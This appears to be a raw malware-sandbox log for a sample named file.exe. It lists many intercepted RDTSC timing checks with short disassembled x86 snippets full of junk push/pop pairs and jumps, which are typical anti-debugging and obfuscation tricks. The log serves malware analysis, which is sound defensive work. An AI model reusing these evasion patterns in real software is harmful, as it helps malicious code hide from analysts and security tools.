Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13ED second address: 13E13FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2A68BD69D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13FF second address: 13E1403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B803 second address: 141B809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B809 second address: 141B819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F2A68BE4F46h 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B9ED second address: 141B9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B9F5 second address: 141B9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141B9F9 second address: 141BA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F2A68BD69DBh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BA1B second address: 141BA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2A68BE4F46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BA27 second address: 141BA30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BBE1 second address: 141BBE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F05F second address: 141F06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423407 second address: 1423427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F2A68BE4F58h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423427 second address: 1423430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423430 second address: 1423436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423436 second address: 1423446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F2A68BD69D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14230F7 second address: 1423125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F2A68BE4F57h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F2A68BE4F4Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423125 second address: 1423129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423129 second address: 142312F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142312F second address: 142314C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F2A68BD69E3h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142314C second address: 1423156 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2A68BE4F62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142427B second address: 142429B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2A68BD69F2h 0x00000008 jmp 00007F2A68BD69E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142943C second address: 1429446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14295A6 second address: 14295ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69E0h 0x00000009 popad 0x0000000a jnl 00007F2A68BD69DEh 0x00000010 push ebx 0x00000011 jmp 00007F2A68BD69DCh 0x00000016 pop ebx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2A68BD69E3h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14295ED second address: 14295F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F2A68BE4F46h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14295F9 second address: 1429607 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F2A68BD69D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429607 second address: 142960B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142960B second address: 1429611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14298AA second address: 14298B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2A68BE4F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B23B second address: 142B245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2A68BD69D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B245 second address: 142B24E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142CA0B second address: 142CA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142CA11 second address: 142CA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142CA15 second address: 142CA3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F2A68BD69D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jns 00007F2A68BD69D6h 0x00000013 jmp 00007F2A68BD69E1h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433000 second address: 143302E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F2A68BE4F4Eh 0x0000000c jmp 00007F2A68BE4F4Fh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F2A68BE4F4Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143302E second address: 1433038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433038 second address: 143303C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143303C second address: 1433040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433040 second address: 143304C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2A68BE4F46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143304C second address: 143306A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BD69E8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143306A second address: 143306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431986 second address: 143198A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143198A second address: 1431995 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F2A68BE4F46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143209F second address: 14320D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2A68BD69D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnc 00007F2A68BD69DEh 0x00000013 pushad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F2A68BD69E2h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0E9C second address: 13E0EF3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2A68BE4F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F2A68BE4F48h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D35DDh] 0x0000002c push 00000004h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F2A68BE4F48h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 and ecx, 23F095C8h 0x0000004e nop 0x0000004f push ecx 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432387 second address: 14323A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14323A6 second address: 14323AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14363E5 second address: 14363F3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2A68BD69D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14363F3 second address: 14363FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2A68BE4F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14363FD second address: 143640D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2A68BD69D6h 0x00000008 jg 00007F2A68BD69D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143640D second address: 1436412 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436412 second address: 1436433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2A68BD69D6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jg 00007F2A68BD69D6h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436433 second address: 143643C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143643C second address: 1436442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436442 second address: 1436447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436447 second address: 143644C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14366C6 second address: 14366CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A9D8 second address: 143A9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A9DE second address: 143A9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A9E2 second address: 143AA33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E8h 0x00000007 jmp 00007F2A68BD69E8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F2A68BD69E4h 0x00000013 pushad 0x00000014 jnp 00007F2A68BD69D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143AA33 second address: 143AA5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2A68BE4F57h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jl 00007F2A68BE4F46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A176 second address: 143A183 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2A68BD69D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A183 second address: 143A1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F2A68BE4F50h 0x0000000b jo 00007F2A68BE4F46h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A1A1 second address: 143A1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A275 second address: 143A27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A27B second address: 143A281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A281 second address: 143A2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F2A68BE4F46h 0x0000000c jmp 00007F2A68BE4F56h 0x00000011 jmp 00007F2A68BE4F4Ch 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A2B6 second address: 143A2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A406 second address: 143A427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F2A68BE4F46h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F2A68BE4F4Dh 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143A427 second address: 143A42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442850 second address: 1442858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442858 second address: 144285C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144285C second address: 1442860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441D0F second address: 1441D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441D17 second address: 1441D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F59h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442270 second address: 1442276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442276 second address: 144227A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144227A second address: 144228B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jg 00007F2A68BD69DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144228B second address: 1442299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F2A68BE4F46h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442299 second address: 144229D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144657A second address: 144657E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144657E second address: 14465B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d jmp 00007F2A68BD69E2h 0x00000012 popad 0x00000013 jng 00007F2A68BD6A19h 0x00000019 jc 00007F2A68BD69F4h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14465B5 second address: 14465EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F58h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F2A68BE4F53h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14456B1 second address: 14456C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F2A68BD69D8h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14456C1 second address: 14456C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14456C7 second address: 14456CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445AFC second address: 1445B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445B00 second address: 1445B0C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2A68BD69D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445B0C second address: 1445B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2A68BE4F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445E2E second address: 1445E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F2A68BD69E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445E4A second address: 1445E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BE4F55h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1445E63 second address: 1445E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446112 second address: 144612B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2A68BE4F4Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144612B second address: 1446131 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14462AF second address: 14462C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2A68BE4F51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14462C4 second address: 14462C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144AE17 second address: 144AE69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F4Fh 0x00000007 je 00007F2A68BE4F46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F2A68BE4F57h 0x00000014 pushad 0x00000015 jmp 00007F2A68BE4F53h 0x0000001a jnl 00007F2A68BE4F46h 0x00000020 pushad 0x00000021 popad 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
